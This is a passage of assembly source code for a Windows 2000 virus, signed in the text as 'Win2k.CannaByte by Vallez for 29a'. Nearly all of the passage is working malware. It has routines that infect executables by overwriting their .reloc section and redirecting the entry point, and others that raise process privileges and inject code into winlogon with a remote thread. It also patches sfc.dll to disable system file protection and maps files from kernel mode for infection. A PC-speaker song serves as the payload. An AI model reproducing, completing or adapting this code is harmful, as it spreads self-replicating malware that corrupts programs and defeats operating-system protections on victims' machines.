;;;;;;;;;;;;;;;;;;;;;;;;
callz MapFileRing0 ;map the file for infection ;)
or eax,eax
jz StopInfectionRing0
;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;
mov ebx,eax
;ebx = Base of Mapped File ;And now >:D one of that wonderful overelocing infections >:D
cmp word ptr [ebx],'ZM' ;muuuuhaaahahaaaahahahahahaaaahahahahahahahahahaaahaaahaaaaha
jne CloseAndStopInfectionRing0 ;this virus will be better with a adding to last section
mov edi,[ebx + 3ch] ;infection or with a create new section infection,cavity,....
add edi,ebx ;and any other infection not so restrictive as .reloc infection
;edi -> PE ;however lot of files have reloc section and we have hooked
cmp word ptr [edi],'EP' ;NtCreateFile :D so we will be able to infect lot of files ;)
jne CloseAndStopInfectionRing0 ;so reloc is good :) however i say that,other infection as
cmp word ptr [edi + 8],'zv' ;a simple adding to last section will be good.
je CloseAndStopInfectionRing0 ;is it already infected?
mov ax,word ptr [edi + 16h]
test ax,00000002h ;yes IMAGE_FILE_EXECUTABLE_IMAGE
je CloseAndStopInfectionRing0
test ax,00001000h ;no IMAGE_FILE_SYSTEM
jne CloseAndStopInfectionRing0
test ax,00002000h ;no IMAGE_FILE_DLL
jne CloseAndStopInfectionRing0
mov ax,[edi + 5ch]
test ax,00000001h ;no IMAGE_SUBSYSTEM_NATIVE
jne CloseAndStopInfectionRing0
mov eax,[edi + 28h] ;EPoint of file
mov [ebp + EntryPoint],eax
movzx ecx,word ptr [edi + 6]
dec ecx
mov eax,edi
add eax,0F8h ;sections
GoToLastSectionRing0:
add eax,28h
loop GoToLastSectionRing0
;eax -> .reloc ;over-reloc infection
cmp [eax],'ler.'
jne CloseAndStopInfectionRing0
mov ecx,[eax + 10h]
cmp ecx,tamvirus
jb CloseAndStopInfectionRing0
mov dword ptr [eax + 24h],040000040h ;reloc not discardable,readable,writable
mov edx,[eax + 0ch]
mov [edi + 28h],edx ;RVA new entry point for file
mov edx,edi
mov edi,[eax + 14h] ;i copy the virus overwriting .reloc
add edi,ebx
lea esi,[ebp + svirus]
mov ecx,tamvirus
rep movsb
;edx -> PE
mov word ptr [edx + 8],'zv' ;i mark the infection
;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;
CloseAndStopInfectionRing0: ;close and bye
callz CloseAllRing0
;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;
StopInfectionRing0:
callz RehookAgain
popad
popfd
push 12345678h
HookRealAddr = dword ptr $ - 4
ret
;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;FUNCTIONS;;;;;;;;;;;;;
;;;;;;;;FUNCTIONS;;;;;;;;;;;;;
;;;;;;;;FUNCTIONS;;;;;;;;;;;;;
;;;;;;;;FUNCTIONS;;;;;;;;;;;;;
;;;;;;;;FUNCTIONS;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
;CRC32 rutine(from Billy Belcebu tutorial)...i have not said him nothing about i have take
;his rutine but i dont know him...in addition i have seen this rutine in other viruses
;so i think he doesnt go angry if i use it :)
;
;in:esi -> start of buffer
; edi = size of buffer
;out:
; eax = cksum
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
CRC32:
cld
xor ecx,ecx
dec ecx
mov edx,ecx
NextByteCRC:
xor eax,eax
xor ebx,ebx
lodsb
xor al,cl
mov cl,ch
mov ch,dl
mov dl,dh
mov dh,8
NextBitCRC:
shr bx,1
rcr ax,1
jnc NoCRC
xor ax,08320h
xor bx,0EDB8h
NoCRC:
dec dh
jnz NextBitCRC
xor ecx,eax
xor edx,ebx
dec edi
jnz NextByteCRC
not edx
not ecx
mov eax,edx
rol eax,16
mov ax,cx
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
;GetApi gets a api address from its crc.
;in:
; eax -> base of dll
; edx = the crc32 of api to search.
; ebx = api name len.
;out:
; eax -> function
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
GetApi:
;eax -> base of dll
;ebx = len api name
;edx = crc of api name
push ebx ecx edx esi edi
push eax
mov eax,[eax + 3ch]
add eax,dword ptr [esp]
;eax -> PE
mov eax,[eax + 78h]
add eax,dword ptr [esp]
;eax -> Export table
push eax
push ebx
mov ebx,[eax + 20h]
add ebx,dword ptr [esp + 8]
;ebx -> Name of functions
push ebx
sub ebx,4
SearchApiByCRC:
add ebx,4
mov esi,[ebx]
add esi,dword ptr [esp + 12]
CalcLenString
;ecx = length api.name
mov edi,[esp + 4]
cmp edi,ecx
jne SearchApiByCRC
mov edi,ecx
push ebx
push edx
callz CRC32
pop edx
pop ebx
cmp eax,edx
jne SearchApiByCRC
pop edi
;edi -> name of functions
;ebx -> name of functions + (index of our api * 4)
sub ebx,edi
mov eax,ebx
xor edx,edx
mov ebx,4
div ebx
;eax = index of our api
pop ebx
pop ebx
;ebx -> export
mov ecx,[ebx + 24h]
add ecx,dword ptr [esp]
;ecx -> name ordinals
rol eax,1
add ecx,eax
mov ecx,[ecx]
shr ecx,10h
dec ecx
;ecx = ordinal
mov eax,[ebx + 1ch]
add eax,dword ptr [esp]
;eax -> address of functions
rol ecx,2
add eax,ecx
mov eax,[eax]
add eax,dword ptr [esp]
;eax = address of function searched
pop ebx
pop edi edi edx ecx ebx
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
;UnprotectMem sets as writable zone since esi to esi + ecx in ebx process.
;in:
; eax -> base of kernel
; esi -> dir of memory that will be writable.
; ecx -> bytes of that memory.
; ebx -> handle of the process where is the memory.If 0 this process
;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
UnprotectMem:
or ebx,ebx
jne NoThisProcess
push eax
push esi
push ecx
GezApi eax,GetCurrentProcessCRC,GCPNameLen
;eax -> GetCurrentProcess
call eax
;eax = hand of this process
mov ebx,eax
pop ecx
pop esi
pop eax
NoThisProcess:
push ebx
push esi
push ecx
GezApi eax,VirtualProtectExCRC,VPNameLen
;eax -> VirtualProtectEx
pop ecx
pop esi
pop ebx
;ebx = hand of process
;esi = dir
;ecx = nbytes
push eax ;space for receiving lpflOldProtect out parameter
push esp
push PAGE_EXECUTE_READWRITE
push ecx
push esi
push ebx
call eax
pop eax ;we remove space that we reserve in the stack for out parameter
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;GetLibrarys and FreeLibrarys get and free some librarys :P
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
GetLibrarys:
pushad
;first,ill try to get ntdll base from PEB structure
mov eax,dword ptr fs:[30h] ;PEB pointer
mov eax,dword ptr [eax + 0ch] ;PEB_LDR_DATA
mov eax,dword ptr [eax + 1ch] ;LIST_ENTRY
mov eax,dword ptr [eax + 8h] ;ntdll.dll base
mov [ebp + Ntdll],eax
mov eax,[ebp + NtKernel]
GezApi eax,LoadLibraryACRC,LLNameLen
push eax
lea ebx,[ebp + advapi]
push ebx
call eax
mov [ebp + NtAdvapi],eax
lea ebx,[ebp + psapi]
push ebx
call dword ptr [esp + 4]
mov [ebp + NtPsapi],eax
lea ebx,[ebp + rasapi]
push ebx
call dword ptr [esp + 4]
mov [ebp + NtRasapi],eax
lea ebx,[ebp + imagehlp]
push ebx
call dword ptr [esp + 4]
mov [ebp + NtImagehlp],eax
pop eax
popad
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
FreeLibrarys:
pushad
mov eax,[ebp + NtKernel]
GezApi eax,FreeLibraryCRC,FLNameLen
push eax
push dword ptr [ebp + NtAdvapi]
call dword ptr [esp + 4]
push dword ptr [ebp + NtPsapi]
call dword ptr [esp + 4]
push dword ptr [ebp + NtRasapi]
call dword ptr [esp + 4]
push dword ptr [ebp + NtImagehlp]
call dword ptr [esp + 4]
pop eax
popad
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;GetWinlogon in:none out: WinlogonHand with winlogon process handle
; eax = 0 if no error
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
GetWinlogon:
pushad
mov ecx,200h
SaveSpaceSearchingWinlogon:
push 00000000h
loop SaveSpaceSearchingWinlogon
;esp -> array of id of processes
mov eax,esp
lea ebx,[ebp + Needed]
push ebx
push 4*200h
push eax
mov eax,[ebp + NtPsapi]
GezApi eax,EnumProcessesCRC,EPSNameLen
call eax
dec eax
jnz GetWinlogonOutError_
;esp -> array
mov esi,esp
lodsd
SearchWinlogon:
lodsd
push esi
or eax,eax
jz GetWinlogonOutError
;vvv
mov [ebp + WinlogonID],eax
push eax
xor eax,eax
push eax
mov eax,10h or 400h or 20h or 2h or 8h
push eax
mov eax,[ebp + NtKernel]
GezApi eax,OpenProcessCRC,OPNameLen
call eax
or eax,eax
jz NoWinlogonFound
;eax = process handle
mov [ebp + WinlogonHand],eax
lea ebx,[ebp + Needed]
push ebx
push 4
lea ebx,[ebp + WinlogonModuleHand]
push ebx
push eax
mov eax,[ebp + NtPsapi]
GezApi eax,EnumProcessModulesCRC,EPMNameLen
call eax
dec eax
jnz NoWinlogonFound
push 50
lea eax,[ebp + WinlogonModuleName]
push eax
push dword ptr [ebp + WinlogonModuleHand]
push dword ptr [ebp + WinlogonHand]
mov eax,[ebp + NtPsapi]
GezApi eax,GetModuleBaseNameACRC,GMBNNameLen
call eax
lea esi,[ebp + WinlogonModuleName]
lodsd
or eax,20202020h
cmp eax,'lniw'
winl equ $ - 4
jne NoWinlogonFound
lodsd
or eax,20202020h
cmp eax,'nogo'
ogon equ $ - 4
jne NoWinlogonFound
;^^^
WinLogonFound:
pop esi
GetWinlogonOut:
add esp,4*200h
popad
xor eax,eax
ret
NoWinlogonFound:
pop esi
jmp SearchWinlogon
GetWinlogonOutError:
pop esi
GetWinlogonOutError_:
add esp,4*200h
popad
xor eax,eax
inc eax
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;AttackWinlogon in:none
; out: eax = 1 error eax = 0 no error
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
AttackWinlogon:
push PAGE_READWRITE
push MEM_RESERVE or MEM_COMMIT
push evirus - svirus
push 0
push dword ptr [ebp + WinlogonHand]
mov eax,[ebp + NtKernel]
GezApi eax,VirtualAllocExCRC,VANameLen
call eax
or eax,eax
jz AttackWinlogonError
mov [ebp + WinlogonVirusBase],eax
mov ecx,[ebp + NtKernel]
mov ebx,[ebp + WinlogonHand]
lea edx,[ebp + svirus]
mov esi,evirus - svirus
Writez ecx,ebx,eax,edx,esi
or eax,eax
jz AttackWinlogonError
push 0
push 0
lea eax,[ebp + Needed]
push eax;pointer to a variable to be passed to the thread function
mov eax,[ebp + WinlogonVirusBase]
add eax,WinlogonCode - svirus
push eax
push 0 ;stack size
push 0
push dword ptr [ebp + WinlogonHand]
mov eax,[ebp + NtKernel]
GezApi eax,CreateRemoteThreadCRC,CRTNameLen
call eax
or eax,eax
jz AttackWinlogonError
AttackWinlogonNoError:
push dword ptr [ebp + WinlogonHand]
mov eax,[ebp + NtKernel]
GezApi eax,CloseHandleCRC,CHNameLen
call eax
xor eax,eax
ret
AttackWinlogonError:
push dword ptr [ebp + WinlogonHand]
mov eax,[ebp + NtKernel]
GezApi eax,CloseHandleCRC,CHNameLen
call eax
xor eax,eax
inc eax
ret
WinlogonCode:
;When i inject code to winlogon,i create a remote thread that will start execution here
pop eax ;remove parameter passed
callz WinlogonCodeDoff
WinlogonCodeDoff:
pop ebp
sub ebp,offset WinlogonCodeDoff
SfcDisable:
lea eax,[ebp + sfc]
push eax
mov eax,[ebp + NtKernel]
GezApi eax,LoadLibraryACRC,LLNameLen
call eax
or eax,eax
jz ErrorSfcDisable
mov [ebp + NtSfc],eax
mov esi,[eax + 3ch]
add esi,eax
;esi -> PE
movzx eax,word ptr [esi + 14h];size of optional
mov ecx,[eax + esi + 18h + 10h];size of section
mov esi,[eax + esi + 18h + 0ch];virtual address of first section of sfc.dll
add esi,dword ptr [ebp + NtSfc]
;esi -> code section
SearchCodeToPatch:
pushad
lea edi,[ebp + CodeToSearch]
mov ecx,11
rep cmpsb
popad
je CodeToPatchFound
inc esi
loop SearchCodeToPatch
jmpz ErrorSfcDisable
CodeToPatchFound:
;now we patch code with a call to ExitThread
push esi
mov eax,[ebp + NtKernel]
GezApi eax,ExitThreadCRC,ETNameLen
pop esi
mov [ebp + PatchExitThreadDir],eax
push esi
;i unprotect the mem where i go to patch
;UnprotectMem
; eax -> base of kernel
; esi -> dir of memory that will be writable.
; ecx -> bytes of that memory.
; ebx -> handle of the process where is the memory.If 0 this process
mov eax,[ebp + NtKernel]
mov ebx,0
mov ecx,_PatchCode - PatchCode
callz UnprotectMem
pop esi
mov edi,esi
lea esi,[ebp + PatchCode]
mov ecx,_PatchCode - PatchCode
PatchIt:
movsb
loop PatchIt
ErrorSfcDisable:
mov eax,[ebp + NtKernel]
GezApi eax,ExitThreadCRC,ETNameLen
push 0
call eax
sfc db 'sfc.dll'
NtSfc dd 0
CodeToSearch db 6Ah,01h,6Ah,01h,0FFh,33h,0FFh,73h,04h,0FFh,15h
PatchCode:
push 0
mov eax,11111111h
PatchExitThreadDir equ dword ptr $ - 4
call eax
_PatchCode:
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;MapFile ;it maps the file in _WIN32_FIND_DATA
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
MapFile:
ChangeAttributesOfFile:
lea edi,[ebp + _WIN32_FIND_DATA.WFD_szFileName]
push 80h
push edi
mov eax,[ebp + NtKernel]
GezApi eax,SetFileAttributesACRC,SFANameLen
call eax
push 0
push 0
push 3
push 0
push 1
push 0C0000000h ;read and write access to file
lea eax,[ebp + _WIN32_FIND_DATA.WFD_szFileName]
push eax
mov eax,[ebp + NtKernel]
GezApi eax,CreateFileACRC,CFNameLen
call eax
inc eax
or eax,eax
jnz np1
ret
np1:
dec eax
mov [ebp + FileHandle],eax
push 0
mov eax,[ebp + _WIN32_FIND_DATA.WFD_nFileSizeLow]
push eax
push 0
push 4
push 0
push dword ptr [ebp + FileHandle]
mov eax,[ebp + NtKernel]
GezApi eax,CreateFileMappingACRC,CFMNameLen
call eax
or eax,eax
jz CloseFile
mov [ebp + MappingHandle],eax
push dword ptr [ebp + _WIN32_FIND_DATA.WFD_nFileSizeLow]
push 0
push 0
push 000F001Fh ;access
push eax ;MappingHandle
mov eax,[ebp + NtKernel]
GezApi eax,MapViewOfFileCRC,MVFNameLen
call eax
or eax,eax
jz CloseMapping
mov [ebp + ViewHandle],eax
ret
;;;;;;;;;;;;;;;;;;;;;;
CloseAll:;close file opened with MapFile
mov eax,[ebp + NtKernel]
GezApi eax,UnmapViewOfFileCRC,UVFNameLen
push dword ptr [ebp + ViewHandle]
call eax
CloseMapping:
mov eax,[ebp + NtKernel]
GezApi eax,CloseHandleCRC,CHNameLen
push dword ptr [ebp + MappingHandle]
call eax
CloseFile:
;RestoreAttributes:
lea eax,dword ptr [ebp + _WIN32_FIND_DATA.WFD_ftLastWriteTime]
push eax
lea eax,dword ptr [ebp + _WIN32_FIND_DATA.WFD_ftLastAccessTime]
push eax
lea eax,dword ptr [ebp + _WIN32_FIND_DATA.WFD_ftCreationTime]
push eax
push dword ptr [ebp + FileHandle]
mov eax,[ebp + NtKernel]
GezApi eax,SetFileTimeCRC,SFTNameLen
call eax
mov eax,[ebp + NtKernel]
GezApi eax,CloseHandleCRC,CHNameLen
push dword ptr [ebp + FileHandle]
call eax
push dword ptr [ebp + _WIN32_FIND_DATA.WFD_dwFileAttributes]
lea eax, [ebp+ _WIN32_FIND_DATA.WFD_szFileName]
push eax
mov eax,[ebp + NtKernel]
GezApi eax,SetFileAttributesACRC,SFANameLen
call eax
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;PayloadRing0.This function is the payload of the virus in ring0.
;When win32k.sys is loaded a song starts in internal speaker.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
PayloadRing0:
Do equ 600
Re equ 674 ;(9/8) * Do ;1.125*Do
Mi equ 750 ;(5/4) * Do ;1.25*Do
Fa equ 798 ;(4/3) * Do ;1.33*Do
Sol equ 900 ;(3/2) * Do ;1.5*Do
La equ 996 ;(5/3) * Do ;1.66*Do
Si_ equ 1124;(15/8)* Do ;1.875*Do
Do2 equ 1220
Zilence equ 1
pushfd
pushad
;;;;;;;;;;;;;;;;;;;;;;;
cli
in al, 61h ;save byte in 61h
push ax
cli
;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;
lea esi,word ptr [ebp + Song]
WhatIfGodSmokedCannabis:
lodsw
mov cx,ax
lodsw
mov dx,ax
or cx,cx
je EndSong
callz sound
jmpz WhatIfGodSmokedCannabis
EndSong:
;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;
callz Silence
pop ax ; Restore information byte in port 61h
out 61h, al
sti
;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;
popad
popfd
ret
;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;
sound: ;cx = frec dl = duration in second(no more than 13 sec)
pushad
push dx
set_ppi:
mov al, 10110110b ; channel 2
out 43h, al ; operation and mode 3
set_freq:
cmp cx,Zilence
je IsASilence
mov dx,12h
mov ax,34dch
div cx ; data for frec in ax: 1234dch / (cx = frec)
out 42h, al
mov al, ah
out 42h, al
active_spk:
or al, 00000011b
out 61h, al
xor eax,eax
pop ax ;al = duration in sec
callz WaitX
popad
ret
IsASilence:
callz Silence
pop ax ;al = duration in sec
callz WaitX
popad
ret
;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;
WaitX: ;eax = multiplicator < 19
pushad
mov ecx,1500000h
VelAdjust equ dword ptr $ - 4
mul ecx;*eax
mov ecx,eax
loop $
popad
ret
;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;
Silence:
pushad
in al, 61h
and al, 11111100b ; 0FCh put off speaker
out 61h, al
popad
ret
;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;
paystrings:
db "Win2k.CannaByte by Vallez for 29a",0dh
db "The name of this virus is CannaByte!!!",0dh
db "I hate avs changed viruses's names",0dh
db "Plz,no change the name of this ;)",0
;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;
TitleSong:
db "What if god smoked cannabis?",0
Song:
dw Mi,6,Mi,6,Mi,6,Fa,12,Zilence,3,Mi,6,Mi,6,Mi,6,Mi,6,Re,6,Re,6,Do,9
dw Mi,6,Mi,6,Mi,6,Fa,12,Zilence,3,Mi,6,Mi,6,Mi,6,Mi,6,Re,6,Re,6,Do,9
dw Mi,6,Mi,6,Mi,6,Mi,6,Fa,12,Zilence,4,Mi,6,Mi,6,Mi,6,Mi,6,Re,6,Re,6,Do,9
dw Mi,6,Mi,6,Mi,6,Mi,6,Fa,12,Zilence,4,Mi,6,Mi,6,Mi,6,Mi,6,Re,6,Re,6,Do,9
dw Mi,15,Zilence,2,Mi,15,Zilence,2,Do,6,Re,6,Mi,6,Mi,6,Zilence,4
dw Mi,15,Zilence,2,Mi,15,Zilence,2,Do,6,Re,6,Mi,6,Mi,6,Zilence,4
dw Mi,15,Zilence,2,Mi,15,Zilence,2,Mi,6,Mi,6,Mi,6,Zilence,6
dw Sol,6,La,6,Si_,9,Mi,6,Mi,6,Fa,6,Sol,12,Zilence,3
dw Sol,6,La,6,Si_,9,Mi,6,Mi,6,Fa,6,Sol,12,Zilence,4
dw Sol,6,La,6,Si_,9,Mi,12,Mi,9,Fa,6,Sol,6,Zilence,1
dw Sol,6,Sol,6,Sol,6,Sol,6,Fa,6,Mi,6,Re,6,Do,18,Zilence,3
dw Sol,9,Sol,9,Sol,9,Sol,9,Fa,9,Mi,9,Re,9,Do,18,0,0
;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;touch_privilege: i got this function from Ratter/29a's document about infection of winlogon.
;The function enable a privilege for me,and ill use to enable SeDebugPrivilege for later ill
;be able to modify winlogon memory space.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
touch_privilege:
mov ebx, ebp
touch_privilege_ proc near
local process_token:DWORD
local privilege_luid:QWORD
local token_privilegez:TOKEN_PRIVILEGES
pushad
@SEH_SetupFrame <jmp touch_privilege_end>
xchg eax, edi
call dword ptr [ebx+tGetCurrentProcess]
lea edx, [process_token]
push edx
push TOKEN_ADJUST_PRIVILEGES
push eax
call dword ptr [ebx+tOpenProcessToken]
dec eax
jnz touch_privilege_end
lea edx, [token_privilegez.TP_luid]
push edx
push esi
push eax
call dword ptr [ebx+tLookupPrivilegeValueA]
dec eax
jnz touch_privilege_close_p_token
push eax
push eax
push type(TOKEN_PRIVILEGES)
lea edx, [token_privilegez]
push 1
pop dword ptr [edx]
mov dword ptr [edx.TP_attribz], edi
push edx
push eax
push dword ptr [process_token]
call dword ptr [ebx+tAdjustTokenPrivileges]
touch_privilege_close_p_token:
push eax
push dword ptr [process_token]
call dword ptr [ebx+tCloseHandle]
pop eax
touch_privilege_end:
@SEH_RemoveFrame
mov dword ptr [esp.Pushad_eax], eax
popad
leave
retn
touch_privilege_ endp
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;MapFileRing0 maps a file using kernel mode apis. As MapFile fuction for user
;mode, MapFileRing0 has a CloseAllRing0 function for saving changes and close handles
;MapFile get the name and directory handle from FileNameRing0 and RootDirectoryRing0
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
MapFileRing0:
pushad
;objects_attributes struc
; oa_length dd ? ;lenght of this structure
; oa_rootdir dd ?
; oa_objectname dd ? ;name of the object
; oa_attribz dd ? ;attributes of the object
; oa_secdesc dd ?
; oa_secqos dd ?
;objects_attributes ends
;
;pio_status struc
; ps_ntstatus dd ?
; ps_info dd ?
;pio_status ends
mov [ebp + FileAttributesRing0.oa_length],24
mov eax,[ebp + RootDirectoryRing0]
mov [ebp + FileAttributesRing0.oa_rootdir],eax
lea eax,[ebp + FileNameRing0]
mov [ebp + FileAttributesRing0.oa_objectname],eax
mov dword ptr [ebp + FileAttributesRing0.oa_attribz],OBJ_CASE_INSENSITIVE
mov dword ptr [ebp + FileAttributesRing0.oa_secdesc],0
mov dword ptr [ebp + FileAttributesRing0.oa_secqos],0
push FILE_OPEN_FOR_BACKUP_INTENT or \
FILE_SYNCHRONOUS_IO_NONALERT or \
FILE_NON_DIRECTORY_FILE ;OpenOptions
push FILE_SHARE_READ or \
FILE_SHARE_WRITE ;Share access
lea eax,[ebp + io_statusRing0]
push eax
lea eax,[ebp + FileAttributesRing0]
push eax
push FILE_READ_DATA or\
FILE_WRITE_DATA or\
FILE_APPEND_DATA or\
STANDART_RIGTHS_REQUIRED ;desired access
lea eax,[ebp + FileHandRing0]
push eax
call dword ptr [ebp + ZwOpenFilez] ;I get a handle to the file
test eax,eax
jne ErrorMappingRing0
mov eax,[ebp + FileHandRing0]
push eax
push SEC_COMMIT ;allocation attributes
push PAGE_READWRITE ;page protection
push 00000000h ;maximun size
push 00000000h ;objects attributes NULL
push SECTION_QUERY or \
SECTION_MAP_WRITE or \
SECTION_MAP_READ or \
STANDART_RIGTHS_REQUIRED ;desired access
lea eax,[ebp + SectionHandRing0]
push eax
call dword ptr [ebp + ZwCreateSectionz] ;I get a handle to a created section
test eax,eax
je np1Ring0
callz Close1Ring0
jmpz ErrorMappingRing0
np1Ring0: ;no problem getting section so continue
mov dword ptr [ebp + SectionBaseAddressRing0],0
mov dword ptr [ebp + SectionOffsetRing0],0
mov dword ptr [ebp + SectionOffsetRing0 + 4],0
mov dword ptr [ebp + SectionViewSizeRing0],0
push 00000004h
push 00000000h
push 00000001h
lea eax,[ebp + SectionViewSizeRing0]
push eax
lea eax,[ebp + SectionOffsetRing0]
push eax
push 00000000h
push 00000000h
lea eax,[ebp + SectionBaseAddressRing0]
push eax
push 0FFFFFFFFh ;i specify the caller process,...i suppose thought im in ring0 this will
;not give problems.
mov eax,[ebp + SectionHandRing0]
push eax
call dword ptr [ebp + ZwMapViewOfSectionz] ;I get a view of the section
test eax,eax
je NoErrorMappingRing0
callz Close2Ring0
jmpz ErrorMappingRing0
NoErrorMappingRing0:
popad
mov eax,[ebp + SectionBaseAddressRing0]
ret
ErrorMappingRing0:
popad
xor eax,eax
ret
;;;;;;;;;;;;;;;;;;;;;;
CloseAllRing0:
Close3Ring0:
push dword ptr [ebp + SectionBaseAddressRing0]
push 0FFFFFFFFh
call dword ptr [ebp + ZwUnmapViewOfSectionz] ;I unmap the view of the section
Close2Ring0:
push dword ptr [ebp + SectionHandRing0]
call dword ptr [ebp + ZwClosez] ;I close the hand to the section
Close1Ring0:
push dword ptr [ebp + FileHandRing0]
call dword ptr [ebp + ZwClosez] ;I close the hand to the file
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;GetApisRing0 gets some apis coz we need to be fast when we r in the hook rutine,or the
